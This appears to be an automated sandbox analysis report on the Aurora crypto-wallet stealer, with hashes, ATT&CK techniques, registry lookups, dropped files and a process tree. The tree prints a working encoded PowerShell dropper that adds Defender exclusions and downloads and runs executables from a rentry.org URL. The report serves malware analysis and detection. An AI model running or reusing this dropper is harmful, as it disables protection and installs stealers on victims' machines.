aurora | 34e038a53f367feda9eb1ffbf71ca6af8ac9ace7a34d86c43e1f197c8988057f

Resubmissions

22/01/2025, 13:47

250122-q32g8sypgs 10

22/01/2025, 13:44

250122-q192layngz 10

22/01/2025, 13:13

250122-qf259axpht 10

17/01/2025, 17:31

250117-v3wn7sylcm 10

Analysis

max time kernel
148s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22/01/2025, 13:44

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General

Target

Aurora.exe
Size

25.5MB
MD5

ee0a49caa656fe8693ffec78e69e864d
SHA1

dca409540b8c19a31e0748a17425835358a90e1b
SHA256

34e038a53f367feda9eb1ffbf71ca6af8ac9ace7a34d86c43e1f197c8988057f
SHA512

897be9ce27bec144b34cdfc4ef94cd95c2cb58a50e4679f9c3a2fa2df42c0a9dea80b4fcb7fb4fd037278cab427abaaae553e1939bff83868e15fffd3fdf3aa1
SSDEEP

98304:SlQKxQh+98myGsy1slENtrE7pQ8kq34vEStCAsDrP7J8yStyBCWLRV7VtC4bksxz:OQPY9mgGvkHEAsdtLRVRXgFqKQbEZxRO

Score

10^/10

aurora defense_evasion discovery stealer

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/xau9i/raw

Signatures

Aurora
Aurora is a crypto wallet stealer written in Golang.
stealer aurora
Aurora family
aurora

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	2492	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	Aurora.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	LX.exe

Executes dropped EXE 1 IoCs

pid	Process
2320	LX.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Aurora.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2492	powershell.exe
2492	powershell.exe
2540	powershell.exe
2540	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2492	powershell.exe
Token: SeDebugPrivilege	2540	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3120 wrote to memory of 2320	3120	Aurora.exe	83
PID 3120 wrote to memory of 2320	3120	Aurora.exe	83
PID 2320 wrote to memory of 2492	2320	LX.exe	84
PID 2320 wrote to memory of 2492	2320	LX.exe	84
PID 2492 wrote to memory of 2540	2492	powershell.exe	86
PID 2492 wrote to memory of 2540	2492	powershell.exe	86

C:\Users\Admin\AppData\Local\Temp\Aurora.exe
"C:\Users\Admin\AppData\Local\Temp\Aurora.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3120
- C:\Users\Admin\AppData\Local\Temp\LX.exe
  "C:\Users\Admin\AppData\Local\Temp\LX.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAZgBsACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGMAZgBnACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHAAbQBtACMAPgA7ACIAOwA8ACMAcwBxAGwAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBiAGcAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB0AGgAZwAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBmAHgAYQAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AeABhAHUAOQBpAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBqAHoAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAbgBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGUAdQBpACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwBtAGIAZQAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AHkAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAegBiAGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAGgAaQBsACMAPgA="
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#cfg#>[System.Windows.Forms.MessageBox]::Show('','','OK','Error')<#pmm#>;
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
223bd4ae02766ddc32e6145fd1a29301

SHA1
900cfd6526d7e33fb4039a1cc2790ea049bc2c5b

SHA256
1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e

SHA512
648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f5fc6519219e8ab530a865e149a92a02

SHA1
c87b95f3c358c6b12da350bb978ff195d2feb060

SHA256
0420d40d4963dede50b4fb06bcd7ed341e9bae388c8cade178c52d0f4088d23f

SHA512
dcd64a54d777f4832b959f91f4deea1106a6065dd7d0421d47e5de28a227033387bc9af695111b669aad7b2b36922ef09e5384628c708fe595e7daff7bb5468e

Download Submit
C:\Users\Admin\AppData\Local\Temp\LX.exe

Filesize
74KB

MD5
1ab3092297d1806397e8d3a6747a3271

SHA1
ea114a2e5ddee915d30458031ec5ced7f97d1650

SHA256
2aa5d3e3abdcd8d31a11b9e1ac3d2e4b4075261f2e324833da229e3736a3ee6e

SHA512
1ab9ea47bbeb22688ba8ebcdbad144b794aabd29f1d4b0bfc2554cc1e9b28325e31b07e252b96ccd3851e49f9cdf935ded702a1cf83c343d69e357e4734caf28

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pbjxcfon.shp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2320-12-0x00007FFE23513000-0x00007FFE23515000-memory.dmp

Filesize
8KB

Download
memory/2320-13-0x0000000000820000-0x0000000000838000-memory.dmp

Filesize
96KB

Download
memory/2492-15-0x000001F6C1E70000-0x000001F6C1E92000-memory.dmp

Filesize
136KB

Download
memory/3120-11-0x0000000000400000-0x0000000001D8A000-memory.dmp

Filesize
25.5MB

Download